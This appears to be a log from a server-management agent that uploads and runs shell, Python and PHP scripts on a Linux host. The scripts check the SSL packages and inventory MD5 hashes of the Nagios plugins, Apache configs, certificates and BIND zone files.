bin(/usr/local/nagios/libexec/check_nntps)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_swap)= 9aba1ea1d65970ba60f8946e5fb73c85
bin(/usr/local/nagios/libexec/check_time)= a0482e1b7c21e0ed9de4451103f73a77
bin(/usr/local/nagios/libexec/check_procs)= bc72e861001bd320f14048f13b0a5c95
bin(/usr/local/nagios/libexec/check_icmp)= 1124d94bcf823fbcd25ade7152252ae3
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 6b901883d174dd33916621ea53c12e36
bin(/usr/local/nagios/libexec/check_spop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nt)= 8a7b9cd0773680a085c6ba38f9760fd6
bin(/usr/local/nagios/libexec/check_encoder.php)= c22e9b08f01fe929c535c10cf0c610c3
bin(/usr/local/nagios/libexec/check_clamd)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_pop)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_cluster)= 6a3a417d279d27775e047bdc5c1b5dce
bin(/usr/local/nagios/libexec/check_ntp_peer)= bf57bca35733628a94b78222a46a02f6
bin(/usr/local/nagios/libexec/check_http)= f0a4d9be23a8a890a436b4dc61cdfea0
bin(/usr/local/nagios/libexec/check_nntp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_nagios)= df5d35cbaadb0c3550c9463d38c5622a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_udp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_imap)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_ftp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_nwstat)= a4663eef851d0ebc252e415e78b807cd
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_website)= 80eef1ef86eb3034ef686f8f3983c135
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ssmtp)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_ide_smart)= 29d0f800b7f3823d21bd444e86e83dd7
bin(/usr/local/nagios/libexec/check_ups)= 78db79cee08eebaa75a59f1cba536f75
bin(/usr/local/nagios/libexec/check_dns)= d11ffa1a24eebc4469d2d848fecc73d5
bin(/usr/local/nagios/libexec/check_raid)= d56bce7813a9a6e2be39576a71e6be88
bin(/usr/local/nagios/libexec/check_ntp)= 600191ef12bcda7add96ac823e4f509a
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_disk)= 6e28ad892b3e9d4f2e1c424caa467401
bin(/usr/local/nagios/libexec/check_load)= 609fbe0884b9d265ee2efb2306636142
bin(/usr/local/nagios/libexec/check_ping)= b0feeda323e47aec89d515918a69fd2b
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_toner.php)= 1c9096e45b272e90f863889d1ee97c29
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_dhcp)= 11af22e79dd5231fe387e003d27017b1
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_smtp)= 282bd82207faa6c16d3d9fc69d484ffc
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_jabber)= af679324ba19c4329ce4a2778c1fd2d6
bin(/usr/local/nagios/libexec/check_overcr)= dcce712428ef42dcbe39e423c69f7f87
bin(/usr/local/nagios/libexec/check_dig)= f329f192e283dbbd3d8e71a5cf617d0b
2026-01-03 18:21:18:
PUT: /tmp/pkp409704
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2026-01-03 18:21:19:
chmod 755 /tmp/pkp409704; /tmp/pkp409704; rm /tmp/pkp409704
2026-01-03 18:21:19:
status=ok
2026-01-03 18:21:19:
PUT: /tmp/pkp810276
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 18:21:19:
chmod 755 /tmp/pkp810276; /tmp/pkp810276; rm /tmp/pkp810276
2026-01-03 18:21:20:
(gzipped output)
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/sites-available/hostz_stoughton_us.conf)= 5184a155abacda25fdd0fe337c05c048
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 52dda690f85fbebe5c01c01e6531b898
MD5(/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf)= a008b1d959ff54c814ddd2d3374caaa7
MD5(/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4)= 0960b06e507954b1c1ee52ae415056d9
MD5(/etc/apache2/sites-available/hostz_church.conf)= 658db80c433869cf04aa6b47d3017a52
MD5(/etc/ssl/certs/hostz)= 0fb409790b96d8fbbd847223dae3c121
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fd0075a430840c023780838db658a0c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf)= 74bfe5f347fa1ad20c501d5e44136f27
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= ee08dd070fe8e2f79b3917dfa84352eb
MD5(/etc/apache2/sites-available/hopeinstoughton_internal-api_org.conf)= d147f4a08d63d10749c6fba967c2c8af
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0)= ee08dd070fe8e2f79b3917dfa84352eb
MD5(/etc/apache2/sites-available/hopeinstoughton_mixer_org.conf)= cc24533683eb89420b0559cfbdc7e448
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7)= 5d32c626c6525ceb84cf2109fab6a447
MD5(/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf)= 5d929307ffa168be6c64c9e93d9cc35f
MD5(/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734)= e6734e7357f4ea14bd924d2653b4fb4c
link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2/sites-available/hostz_stoughton_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2/sites-available/hopeinstoughton_hymns_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2/sites-available/hopeinstoughton_mixer_org.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf
STDERR:
/tmp/pkp810276:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2026-01-03 18:21:32: Establishing a connection
2026-01-03 18:21:32:
PUT: /tmp/pkp138103
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 18:21:33:
runuser -l bind -s /bin/bash -c '/tmp/pkp138103; rm /tmp/pkp138103'
2026-01-03 18:21:33:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
